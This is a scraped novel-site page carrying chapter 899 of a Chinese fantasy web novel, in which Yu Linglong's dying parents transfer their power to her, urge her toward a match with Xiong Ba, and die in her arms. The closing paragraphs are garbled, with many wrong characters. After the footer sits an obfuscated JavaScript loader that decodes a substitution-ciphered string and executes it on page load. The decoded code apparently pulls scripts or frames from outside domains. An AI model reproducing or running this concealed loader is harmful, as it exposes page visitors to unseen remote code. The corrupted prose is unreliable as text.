首页
第899章 丧亲
返回
关灯 护眼:关 字号:小

第899章 丧亲

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第899章丧亲
    梁进站在建筑群的边缘,没有再往前一步。
    黑风就在他面前不足一丈的地方翻涌嘶嚎,像是被一道无形的堤坝拦住了,势头再凶也漫不出来。
    那些风贴著建筑群的边界来回奔突,撞到某条看不见的界线便猛地折返。
    梁进的眉头微微一动。
    是不是说,只要他不踏入那片建筑群的区域,这些黑风就不会主动找上他?
    「试一试就知道了。」
    他心念一转,【道具栏】无声开启,一具阴骨儡凭空落在地上。
    那具傀儡刚一落地,关节便发出细微的咔咔声,像是一头被松开了缰绳的猎犬,以最快的速度朝建筑群冲了过去。
    梁进已经准备好了。
    他以为那些黑风会像嗅到血腥味的鲨鱼一样,在阴骨儡踏入的瞬间便蜂拥而上。
    可是没有。
    接下来发生的一幕,让梁进的后背微微绷紧。
    阴骨儡冲进了黑风之中,走得毫无阻碍。
    那些呼啸的风依旧在它周围翻涌、旋转、咆哮,却像是完全看不见它似的。
    有一道黑风直直地朝阴骨儡扑面撞去,梁进几乎以为下一刻傀儡就会像之前那些人一样血肉消融——可那道风在即将触碰到傀儡的瞬间,竟然偏了。
    是刻意地、像躲避什么似的,从阴骨儡的身侧绕了过去。
    「嗯?」
    梁进眯起眼。
    他记得很清楚。
    玉玲珑他们冲进建筑群的时候,那些黑风是怎样扑上去的—像饿疯了的狼群,狂暴、贪婪,裹挟著一种近乎恶意的东西。
    而现在,风还在,傀儡还在,只是相安无事。
    「难道黑风的攻击性只是一时的?」
    梁进的目光落在那片翻涌的黑色风幕上,脑中飞快地转著:「现在这些黑风已经不再攻击人了?」
    他没有立刻下判断。
    用阴骨儡试探,终究只是间接的证据。
    有些东西,必须亲身验证。
    如果那些黑风真的已经失去了攻击性,那他就可以放心地呼唤玉玲珑他们出来。
    梁进深吸一口气,朝前迈出了第一步。
    他走得不快。
    黑风在他面前越来越近,那种阴冷的气息已经开始添上他的脸颊,像是有无数根冰凉的指尖在皮肤上轻轻划过。
    他走到了那道界线—方才他推算出来的、黑风从未越过的边界。
    他与黑风之间,不足一丈。
    然后一切都在瞬间改变了。
    「呼—!!!」
    那些原本各行其是的黑风,突然在同一时刻调转了方向,仿佛是受到了不可抗拒的召唤,猛地朝梁进的方向扑了过来!
    梁进的瞳孔骤然收缩。
    为什么?
    阴骨儡进去的时候黑风毫无反应,为什么轮到自己就不行?
    这些念头不过一闪而过。
    梁进的身体比念头更快,脚下已经发力疾退。
    他不敢硬接,那些黑风的力量太过诡异,伤人不是靠劲力也不是靠锋刃,而是一种他至今没有摸透的消解之力。
    他退得极快,周身霞光陡然暴涨,纵意登仙步瞬间运转到极致。
    他朝后迈出一步。
    只一步,整个人便如同一枚被弹射出去的石丸,倏地退出了数十丈之外。
    梁进落地的时候,那些黑风终于像是失去了目标,在空气中不甘地翻卷了几下,嘶吼著退回建筑群的范围之内,重新开始它们永无止境的环绕呼啸。
    梁进站在原地,他的眉头深深锁起,缓缓抬起了自己的右手。
    他低头看去。
    只见那只坚不可摧的神龙臂,掌心处赫然少了一块皮肉。
    伤口不深,却异常齐整,像是被什么极薄极利的东西悄无声息地削去了一片,淡金色的血珠正从创口处缓缓渗出。
    刚才他已经躲得足够快了,从黑风扑来到他发动纵意登仙步,几乎没有任何多余的动作。
    可即便如此,还是被蹭到了一点点。
    也就只是一点点而已。
    梁进看著掌心的伤口,面色沉了沉。
    也只有他的神龙臂足够坚固,被黑风刮到才只是少了块皮肉。
    若是换作寻常肢体的寻常皮肉,恐怕此刻他的一整只手掌都不复存在了。
    这些黑风,是真的能伤到他。
    他从【道具栏】中取出一碗符水,仰头饮下。
    温热的液体顺著喉咙滑下去,掌心的伤口处泛起细微的麻痒,新生的皮肉以肉眼可见的速度愈合。
    不到片刻,伤口便已无碍。
    可梁进的心头却并没有因此轻松多少。
    他低头看著那只已经恢复如初的手掌,五指缓缓收拢,又缓缓张开。
    方才那一瞬间的触感,不像是被风刮过。
    风哪怕再疾再利,终归是气流的撕扯。
    可刚才那一下,他分明感觉到有某种力量,顺著伤口的瞬间渗入了体内一不是侵入,而是抽取。
    像是有什么东西,正在把他好不容易融进骨血里的神力,往外拽。
    他融合四种神力,哪一次不是九死一生?
    若是被那黑风从身上一片一片地刮走,那才是真正不可承受的损失。
    「这鬼东西,还能对神力产生效果?」
    梁进抬起眼,重新望向那片被黑风笼罩的建筑群。风声依旧,阴沉沉的,像是有人在极远的地方吹著一支不成调的坝。他的手指不自觉地攥紧了些。
    这一次,他终究还是感到了棘手。
    石室内。
    空气里弥漫著血腥味和陈旧的霉味,还有一股越来越浓的、属于垂死之人的衰败气息。
    玉玲珑的情绪已经渐渐平息下来。
    她的眼眶还红著,脸上泪痕未干,但方才那种撕心裂肺的嚎陶已经收住了。
    不是不痛了,是痛到了极致之后,她知道大哭大闹没有用了。
    时间不多了,她不能让最后的时间浪费在无谓的崩溃上。
    所以她最终选择接受父母的传功。
    她盘腿坐好,脊背挺直,双手放在膝上,像一尊被安放在祭坛上的玉像。
    云舒的手掌按在她的后背上,掌心的温度已经很低了,低得像是秋末的井水。
    但那只手依然很稳,稳稳地贴著她的脊椎,将两股同源的真气缓缓渡入她的经脉之中0
    天蛇换骨功一脉相承,真气入体的时候并不暴烈,反而像是暖流归海,温顺地汇入她的丹田,没有半分排斥。
    玉玲珑开始说话。
    她说得很细。
    从很小很小的时候说起,说她一个人在化龙岛上奔跑的样子,说她第一次练功被长老责罚时的委屈,说她站在海边看著茫茫大海时心里想的是什么。
    她没有隐瞒什么,连那些不光彩的心思都说出来了一她说她不想承担复国的重任,说那个担子太重太重,压得她喘不过气来。
    她甚至一度想过毁了化龙门,让这一切都烟消云散,这样她就可以自由了,可以像一只飞鸟一样离开那座囚笼。
    她还讲到了去年的那场海战。
    船帆燃烧的火光映红了半边天,化龙门的弟子一个接一个地倒在她面前,血腥味和焦臭味混在一起,呛得她睁不开眼。
    她讲到自己站在船头看著那些尸体随波浮沉的样子,讲到自己从那以后时常在梦中惊醒,梦见自己不是门主,梦见自己只是一个普通人家的女儿。
    她讲她的痛苦,讲她的迷茫,讲那些在黑夜里一个人咬著被子偷偷流泪的时刻。
    可是她也讲她开心的事。
    她讲她偷偷跑到陆地上,钻进人声鼎沸的集市里,看杂耍艺人喷火吞剑,蹲在小摊前吃一碗热腾腾的馄饨,烫得直吐舌头也舍不得吐掉。
    她讲她坐在茶楼里听说书先生讲才子佳人的故事,听到精彩处也跟著底下的人一起拍桌子叫好,拍完了才想起自己是化龙门的门主,赶紧把手缩回来,红著脸四下看有没有被人发现。
    她一直在说,像是在用一个晚上把二十年的空白全部填满。
    玉昭明和云舒一边将自己的功力源源不断地渡给她,一边安静地听著。
    当玉玲珑说到那些痛苦和挣扎的时候,云舒的眉头紧紧蹙起,睫毛上挂著泪珠,嘴唇抿成一条线。
    她的手掌贴在女儿的后背上,感受到女儿身体的温度,同时也感受到女儿这些年来独自吞咽的苦楚。
    她的心像是被人攥住了,拧得生疼。
    玉昭明的眼眶也红了,他垂著眼,下颌的肌肉绷得紧紧的,一种深沉的无力感从他的眼底漫上来。
    他的女儿一个人扛了这么多,而他这个做父亲的,竟连一句话都不曾对她说过。
    可当玉玲珑说到那些开心的事时,两人的嘴角又忍不住微微上扬。
    云舒曾有些担忧,怕玉昭明不能理解女儿。
    皇图霸业,这是他曾经看得比命还重的东西。
    可此刻的玉昭明,听了女儿那些逃离的念头,那些自私的、软弱的、却真实无比的念头,他的眼里没有半分责备,只有心疼。
    当他意识到自己的命运早已注定、甚至自己可能已经死了二十年之后,他忽然就看开了很多事。
    那座他一直扛在肩上的皇朝大厦,在死亡面前轻得像一粒尘埃。
    他不会再要求女儿去完成什么使命了。
    那些东西太重,她自己扛不住,他也不舍得让她扛了。
    他只希望他的女儿一生平安快乐,仅此而已。
    玉昭明和云舒也开始说话。
    他们没有力气说太长的话了,只能断断续续地,把自己心里的话往外掏。
    他们说爱她,说从她出生的那一刻起就爱她。
    这些话却让玉玲珑哭得更厉害。
    因为她很清楚,自己的爹娘就要走了。
    他们把这些话说完,就会走的。
    「玲珑————」
    云舒的声音虚弱却异常温柔,带著母亲特有的关切:「这些年来————心里————可曾有过中意的人?」
    玉昭明也喘息著,用尽力气说道,话语中带著最后的筹谋:「玲珑,若真不愿背负这担子————找个志同道合的————好夫婿————将责任交予他。」
    「你只需平安快乐————延续我族血脉便足矣————对祖————也算交代了————」
    玉玲珑愣住了。
    她没想到爹娘会在这种时候,忽然把话题拐到这个方向来。
    她从未往这方面细想过。
    或许也不是完全没有。
    当年东海大战的时候,梁进确实也曾对她提过类似的建议,她当时只觉得那是权宜之计,没有往心里去。
    可现在爹娘又提起。
    可是————她哪来的什么心上人?
    而且以她的身份,想要招婿又谈何容易。
    她要招的夫婿,首先得是人中龙凤,天下间能入她眼的男子本就寥寥无几。
    更何况,还要与她志同道合,有著推翻大干兴复大虞的共同志向。
    这样的人,不是不容易找,是几乎不存在。
    云舒看著她沉思的模样,轻声笑了。
    那笑容很淡,像是一盏快要燃尽的灯,最后闪了一闪。
    「我看那个雄霸,就很不错。」
    玉玲珑猛地抬起头。
    云舒继续说了下去,声音越来越轻,每一个字都像是要花掉她很大力气:「虽然他的容貌确实————确实有点让人难以接受————粗犷了些。」
    她说到这里停顿了一下,仿佛在斟酌措辞,然后才道:「男儿重在心————重在他待你好————护著你。」
    云舒听得很清楚。
    在玉玲珑的讲述里,除了梁进之外,再没有第二个年轻男子出现过。
    说到别人的时候,玉玲珑的语气是淡的,客套的,点到即止的。
    可说到梁进的时候,她的语气里有一种她自己可能都没有察觉到的暖。
    那种暖不是对下属的赏识,也不是对盟友的信任,是一个女子提到某个男子时,声音里不自觉带上来的温度。
    玉昭明也点了点头,接过了话头:「雄霸此子,确实长得丑。」
    他说得直白,不带半点拐弯。
    「可男儿大丈夫,容貌并不重要。雄霸乃是举世罕见的绝顶天才妖孽,他武学天赋之高,连我都闻所未闻。如今他能够与一品武者正面硬战,其实力实在骇人听闻。」
    他越说越觉得这个人选不错,语气甚至带上了一丝急切的热忱:「听你说来,他虽然来历不明,但却忠心于你。来历不明恐怕是有苦衷,以后你们既然要结合,他必然也会倾吐来历,所以这倒不是问题。」
    「若得他为婿,复国可期,你亦可解脱。」
    两人你一言我一语,竟是真的在认真谋划这件事了。
    他们的语气里带著一种微妙的热切,像是要把女儿的后半生安排好,然后才能放心地离开。
    玉玲珑听著,脸慢慢地烫了起来。
    连爹娘都看好梁进?
    难道他真的是自己的真命天子?
    她的脑海中浮现出梁进的模样—如果他能长得英俊倜傥,那她或许早就倾心于他了。
    可他长得实在太丑了一点。
    但似乎————他除了丑之外,也确实没有别的缺点了。
    而这个丑,看得久了,好像也没那么不能接受。
    一时间,玉玲珑的心乱了。
    就在这时。
    一道声音穿过了厚重的石壁,穿过了黑风的呼啸,从外界传了进来。
    那声音被石壁和风声削减了大半,却依然能听出其中的急切和笃定一「门主!还请再坚持一阵!」
    「我已经想到办法!要不了多久就会救你出去!你一定不要放弃!」
    是梁进的声音。
    他的声音还是那么沉稳有力,如同黑暗中一道温暖的光束,瞬间驱散了殿内一部分阴霾,也击中了玉玲珑心中最柔软的地方。
    一股难以言喻的安心感涌上心头。
    玉昭明的眼中迸出一丝光芒,惊讶道:「这小子活著回来了?看来符隋聿已经败逃。他竟然真的能够正面击败一品武者?」
    他越说越激动,声音都微微发颤:「有他在,我化龙门何愁复兴不成?」
    云舒微微颔首,目光落在玉玲珑的脸上,看著女儿在听到那道声音时眼底一闪而过的光亮,她的嘴角浮起一丝了然的笑意:「此地凶险,可他却依然心系我家玲珑,此心可托。
    「这个男人,倒是靠得住。」
    玉玲珑听到爹娘的话,羞得恨不得找个地缝钻进去。
    她张了张嘴,想说两句抱怨的话,想把这份尴尬和羞涩给挡回去。
    可她的话还没出口,后背上的那只手忽然失去了力气。
    那只一直稳稳地按在她后背上、渡送著真气的手,忽然软绵绵地滑落了下去,从她的背脊上跌落在她身旁的地面上,发出一声轻微而沉闷的声响。
    玉玲珑心头猛地一坠,像是有块巨石突然砸进了胸腔。
    她几乎是弹起来的,猛地转过身去。
    玉昭明和云舒的面色已经死白一片,白得没有半分血色。
    他们软软地躺在地上,像是两张被抽去了骨头的纸,轻飘飘地贴在冰冷的石板上。
    他们的眼睛还睁著,可眼里的光已经散了,像是燃尽的灰烬里最后一点火星,在风里明灭不定。
    两人本就伤势极重,能撑到现在已经是凭著一口气在熬。
    如今将毕生功力渡尽,那最后一口气也散了。
    油尽灯枯。
    「爹!娘!」
    玉玲珑惨声哭喊,扑通跪倒在两人身边。
    她手忙脚乱地把玉昭明和云舒搂起来,颤抖著让他们靠在自己身上,然后疯狂地运功,将自己的真气反渡回去,企图为两人续住那一丝将断未断的生机。
    真气入体,像水灌进漏了的器皿,进去多少漏多少,根本存不住。
    玉昭明虚弱地摇了摇头。
    他摇头的幅度极小,几乎只是下巴微微动了一下,可那已经是耗尽他仅剩力气的动作了。
    「我们的时候————到了。」
    他的声音轻得像一片羽毛落在水里,若不是石室里足够安静,几乎就听不见了:「玲珑————可惜了————我们没能亲眼看到你成家生子————有个依靠————」
    他的眼皮已经开始往下坠,却还在拼命撑著,想要多看一眼。多看一眼也好。
    「我们走了————以后你该靠谁啊————」
    云舒的嘴唇哆嗦著,泪水从她干涸的眼眶里渗出来,顺著瘦削的脸颊往下淌。
    她的声音碎成了断断续续的气声,每一个字都像是从喉咙深处抠出来的。
    「我们真的不想走————好想多看看你————多听听你说话————
    「真的不想走啊————玲珑,我的女儿————」
    玉玲珑抓著云舒的手,又抓著玉昭明的衣襟,两个人都抓著,两只手都不肯松。
    她拼命地摇头,泪水甩落在两人身前的衣料上,洇出一个个深色的圆点。
    她摇头的力气那么大,像是要把这一切都甩掉,把死亡甩掉,把命运甩掉,把这个残酷到不讲道理的现实甩掉。
    「不要————不要————」
    「爹娘,不要啊!」
    她也好多话想说。
    她还想听爹娘再多说两句话,什么席好,骂她也好,夸她也好,井要他诉还愿意说。
    可是这一切,注定不随人愿。
    玉昭明的头缓缓地垂了下去。
    他轻轻地靠在了女儿的肩窝里,像是睡著了一样。
    他的眼睛终于阖上了,嘴角似乎还带著一丝淡淡的业意,那业意很轻很轻,像是终于完成了一件很重要的事,终于可以歇一歇了。
    他先走了。
    云舒感觉到了。
    她的泪水流得更加汹涌,却已经没有力气哭出声了。
    她拼尽全力抬起手,那手抖得厉候,一寸一寸地朝玉玲珑的脸伸过去。
    她想最后摸摸女儿的脸,最后感受一下女儿的温度,把这怖触感刻进骨头里,带到另一怖世界去。
    「玲珑————我的玲珑————」
    她的指尖已经碰到了玉玲珑的脸颊,丼差一点,井差一点点就可以复上去了。
    那井手终亍还是无力地垂了下去。
    石室里忽然变得很安静。
    玉玲珑跪在两怖人亨间,两井手一边拉住一怖,却再也感受不到半分回握的力气。
    她像一怖被抽空了灵魂的躯壳,呆呆地跪在那里,看著两怖人的面容,看著她这一生亨第一次也是最后一次见到的亲生爹娘。
    然后她终于撑不住了。
    她的身体像一堵被洪水冲垮的堤坝,轰然坍塌。
    她扑进两人的亚亨,把脸埋在他诉已经没有温度的胸乘上,用尽了胸腔里所有的气息,发出了一声撕心裂肺的悲鸣。
    「啊!!!」
    那声音尖锐、破碎、绝望。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();